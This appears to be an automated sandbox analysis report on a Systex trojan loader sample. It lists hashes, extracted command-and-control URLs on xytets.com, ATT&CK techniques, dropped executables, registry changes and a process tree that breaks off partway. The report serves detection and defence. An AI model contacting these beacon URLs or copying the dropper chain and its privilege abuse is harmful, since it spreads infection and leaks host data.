systex | 9595d2fd6fe146c51d3a3589928e0d580171972732c3e226db73e34093f154f2

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 19:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260707-ye6faadx2j
SHA256 9595d2fd6fe146c51d3a3589928e0d580171972732c3e226db73e34093f154f2
MD5 cd79b059b7bc7003b87fb6e56de4cf1f
SHA1 949c67376d51d54ba0a4ad5e60088f5e1bccfab3
SHA512 81fcbeb37201356c1edc62724b4268b1572f258bca55381cd62b7b75e3d699fc8dc3819cffb865ce9124aa5b0e4ee98f5865bd342c23040256c07ad814a38fb6
SSDEEP 6144:aflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:aflfAsiVGjSGecvX
TLSH
T188747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3328	pnicausmkfcxupnh.exe
4324	pnicausmkfcxupnh.sys
2644	CreateProcess.exe
5756	spnhfzxspk.exe
5224	CreateProcess.exe
2736	CreateProcess.exe
864	i_spnhfzxspk.exe
4252	pnhfzxrpjh.sys
3120	CreateProcess.exe
2108	cwupmkecxu.exe
2776	CreateProcess.exe
3076	CreateProcess.exe
5948	i_cwupmkecxu.exe
1244	pjhczurpbz.sys
3368	CreateProcess.exe
2612	cztrpjgezw.exe
456	CreateProcess.exe
6096	CreateProcess.exe
1144	i_cztrpjgezw.exe
4016	ecztrljebz.sys
5944	CreateProcess.exe
2536	ebztrmjeuo.exe
4860	CreateProcess.exe
5332	CreateProcess.exe
4784	i_ebztrmjeuo.exe
5328	eywqomgeyw.sys
2444	CreateProcess.exe
3184	ytrligebwt.exe
2068	CreateProcess.exe
1456	CreateProcess.exe
4908	i_ytrligebwt.exe
3736	bvtqligayt.sys
3464	CreateProcess.exe
5952	byvqoljdbv.exe
3276	CreateProcess.exe
4956	CreateProcess.exe
3352	i_byvqoljdbv.exe
1464	lidbvtnlgd.sys
3136	CreateProcess.exe
692	vtqlidavsn.exe
2004	CreateProcess.exe
5300	CreateProcess.exe
1508	i_vtqlidavsn.exe
5828	aysqkifdav.sys
1292	CreateProcess.exe
4028	faxvsqkifd.exe
5848	CreateProcess.exe
2200	CreateProcess.exe
3896	i_faxvsqkifd.exe
3236	causqkicau.sys
616	CreateProcess.exe
3724	ausnkfcaus.exe
3212	CreateProcess.exe
1172	CreateProcess.exe
6052	i_ausnkfcaus.exe
3712	xrpjhczxrp.sys
5680	CreateProcess.exe
5380	xrpjhczusm.exe
3352	CreateProcess.exe
2908	CreateProcess.exe
4520	i_xrpjhczusm.exe
5748	cwupmhfzwu.sys
2904	CreateProcess.exe
1296	pjhecwurmh.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4396_256645574\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4396_1163519228\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4396_1163519228\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4396_484446612\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4396_484446612\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cztrpjgezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cztrpjgezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	byvqoljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaysqlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnicausmkfcxupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwupmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytrligebwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxvsqkifd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebztrmjeuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausnkfcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhecwurmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trmjecwuom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nigaysqkid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icaxsqnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljebwtomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_byvqoljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtqlidavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtqlidavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_icaxsqnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausnkfcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaysqlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmhecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwupmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytrligebwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhecwurmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljebwtomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmhecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwurpmhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebztrmjeuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxvsqkifd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwurpmhezx.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6000	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4008	ipconfig.exe
1492	ipconfig.exe
5384	ipconfig.exe
276	ipconfig.exe
4908	ipconfig.exe
2520	ipconfig.exe
5392	ipconfig.exe
5560	ipconfig.exe
3128	ipconfig.exe
2288	ipconfig.exe
2104	ipconfig.exe
4612	ipconfig.exe
1676	ipconfig.exe
996	ipconfig.exe
4488	ipconfig.exe
5100	ipconfig.exe
4804	ipconfig.exe
2696	ipconfig.exe
2288	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-200172840-2662118501-695741713-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-200172840-2662118501-695741713-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-200172840-2662118501-695741713-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134279269882059820"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-200172840-2662118501-695741713-1000\{088746DC-3376-46CE-82BC-69D367929526}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3328	pnicausmkfcxupnh.exe
3328	pnicausmkfcxupnh.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3328	pnicausmkfcxupnh.exe
3328	pnicausmkfcxupnh.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3328	pnicausmkfcxupnh.exe
3328	pnicausmkfcxupnh.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3328	pnicausmkfcxupnh.exe
3328	pnicausmkfcxupnh.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3328	pnicausmkfcxupnh.exe
3328	pnicausmkfcxupnh.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3328	pnicausmkfcxupnh.exe
3328	pnicausmkfcxupnh.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4396	msedge.exe
4396	msedge.exe
4396	msedge.exe
4396	msedge.exe
4396	msedge.exe
4396	msedge.exe
4396	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	864	i_spnhfzxspk.exe
Token: SeDebugPrivilege	5948	i_cwupmkecxu.exe
Token: SeDebugPrivilege	1144	i_cztrpjgezw.exe
Token: SeDebugPrivilege	4784	i_ebztrmjeuo.exe
Token: SeDebugPrivilege	4908	i_ytrligebwt.exe
Token: SeDebugPrivilege	3352	i_byvqoljdbv.exe
Token: SeDebugPrivilege	1508	i_vtqlidavsn.exe
Token: SeDebugPrivilege	3896	i_faxvsqkifd.exe
Token: SeDebugPrivilege	6052	i_ausnkfcaus.exe
Token: SeDebugPrivilege	4520	i_xrpjhczusm.exe
Token: SeDebugPrivilege	3388	i_pjhecwurmh.exe
Token: SeDebugPrivilege	6052	i_trmjecwuom.exe
Token: SeDebugPrivilege	5272	i_qljebwtomg.exe
Token: SeDebugPrivilege	1552	i_qoigaytqlj.exe
Token: SeDebugPrivilege	992	i_igaysqlida.exe
Token: SeDebugPrivilege	5272	i_nigaysqkid.exe
Token: SeDebugPrivilege	5204	i_icaxsqnifa.exe
Token: SeDebugPrivilege	1124	i_causmhecxu.exe
Token: SeDebugPrivilege	2784	i_cwurpmhezx.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4396	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 3328	2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	88
PID 2764 wrote to memory of 1380	2764	2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 1380 wrote to memory of 4396	1380	iexplore.exe	90
PID 4396 wrote to memory of 3832	4396	msedge.exe	91
PID 4396 wrote to memory of 4548	4396	msedge.exe	92
PID 4396 wrote to memory of 6000	4396	msedge.exe	93
PID 4396 wrote to memory of 4548	4396	msedge.exe	92
PID 4396 wrote to memory of 4548	4396	msedge.exe	92
PID 4396 wrote to memory of 5020	4396	msedge.exe	94
PID 4396 wrote to memory of 5020	4396	msedge.exe	94
PID 4396 wrote to memory of 3392	4396	msedge.exe	97
PID 4396 wrote to memory of 2960	4396	msedge.exe	96
PID 4396 wrote to memory of 3392	4396	msedge.exe	97
PID 4396 wrote to memory of 3392	4396	msedge.exe	97
PID 4396 wrote to memory of 2960	4396	msedge.exe	96
PID 4396 wrote to memory of 2960	4396	msedge.exe	96
PID 4396 wrote to memory of 3828	4396	msedge.exe	98
PID 4396 wrote to memory of 1128	4396	msedge.exe	99
PID 4396 wrote to memory of 3828	4396	msedge.exe	98
PID 4396 wrote to memory of 3828	4396	msedge.exe	98
PID 4396 wrote to memory of 1128	4396	msedge.exe	99
PID 4396 wrote to memory of 1128	4396	msedge.exe	99
PID 4396 wrote to memory of 4660	4396	msedge.exe	100
PID 4396 wrote to memory of 4660	4396	msedge.exe	100
PID 4396 wrote to memory of 4660	4396	msedge.exe	100
PID 4396 wrote to memory of 6016	4396	msedge.exe	102
PID 4396 wrote to memory of 6016	4396	msedge.exe	102
PID 4396 wrote to memory of 2864	4396	msedge.exe	105
PID 4396 wrote to memory of 2864	4396	msedge.exe	105
PID 4396 wrote to memory of 2864	4396	msedge.exe	105
PID 4396 wrote to memory of 4152	4396	msedge.exe	106
PID 4396 wrote to memory of 4152	4396	msedge.exe	106
PID 4396 wrote to memory of 4748	4396	msedge.exe	107
PID 4396 wrote to memory of 4748	4396	msedge.exe	107
PID 3328 wrote to memory of 2644	3328	pnicausmkfcxupnh.exe	108
PID 4396 wrote to memory of 2632	4396	msedge.exe	111
PID 5756 wrote to memory of 5224	5756	spnhfzxspk.exe	113
PID 4396 wrote to memory of 4020	4396	msedge.exe	116
PID 4396 wrote to memory of 4020	4396	msedge.exe	116
PID 4396 wrote to memory of 4468	4396	msedge.exe	119
PID 4396 wrote to memory of 4468	4396	msedge.exe	119
PID 3328 wrote to memory of 2736	3328	pnicausmkfcxupnh.exe	120
PID 3328 wrote to memory of 3120	3328	pnicausmkfcxupnh.exe	124
PID 2108 wrote to memory of 2776	2108	cwupmkecxu.exe	126
PID 3328 wrote to memory of 3076	3328	pnicausmkfcxupnh.exe	129
PID 3328 wrote to memory of 3368	3328	pnicausmkfcxupnh.exe	133
PID 2612 wrote to memory of 456	2612	cztrpjgezw.exe	135
PID 3328 wrote to memory of 6096	3328	pnicausmkfcxupnh.exe	138
PID 3328 wrote to memory of 5944	3328	pnicausmkfcxupnh.exe	143
PID 2536 wrote to memory of 4860	2536	ebztrmjeuo.exe	145
PID 3328 wrote to memory of 5332	3328	pnicausmkfcxupnh.exe	148
PID 4396 wrote to memory of 3668	4396	msedge.exe	150
PID 4396 wrote to memory of 3780	4396	msedge.exe	151
PID 4396 wrote to memory of 260	4396	msedge.exe	152
PID 3328 wrote to memory of 2444	3328	pnicausmkfcxupnh.exe	155
PID 3184 wrote to memory of 2068	3184	ytrligebwt.exe	157
PID 3328 wrote to memory of 1456	3328	pnicausmkfcxupnh.exe	160
PID 3328 wrote to memory of 3464	3328	pnicausmkfcxupnh.exe	164
PID 5952 wrote to memory of 3276	5952	byvqoljdbv.exe	166
PID 3328 wrote to memory of 4956	3328	pnicausmkfcxupnh.exe	169
PID 3328 wrote to memory of 3136	3328	pnicausmkfcxupnh.exe	173
PID 692 wrote to memory of 2004	692	vtqlidavsn.exe	175
PID 3328 wrote to memory of 5300	3328	pnicausmkfcxupnh.exe	178
PID 3328 wrote to memory of 1292	3328	pnicausmkfcxupnh.exe	182

C:\Users\Admin\AppData\Local\Temp\2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-07_cd79b059b7bc7003b87fb6e56de4cf1f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Temp\pnicausmkfcxupnh.exe
  C:\Temp\pnicausmkfcxupnh.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spnhfzxspk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2644
  - - C:\Temp\spnhfzxspk.exe
      C:\Temp\spnhfzxspk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5756
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5224
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:996
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spnhfzxspk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2736
  - - C:\Temp\i_spnhfzxspk.exe
      C:\Temp\i_spnhfzxspk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:864
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwupmkecxu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3120
  - - C:\Temp\cwupmkecxu.exe
      C:\Temp\cwupmkecxu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2108
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2776
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwupmkecxu.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3076
  - - C:\Temp\i_cwupmkecxu.exe
      C:\Temp\i_cwupmkecxu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cztrpjgezw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3368
  - - C:\Temp\cztrpjgezw.exe
      C:\Temp\cztrpjgezw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2612
    - - C:\temp\CreateProcess.exe
        
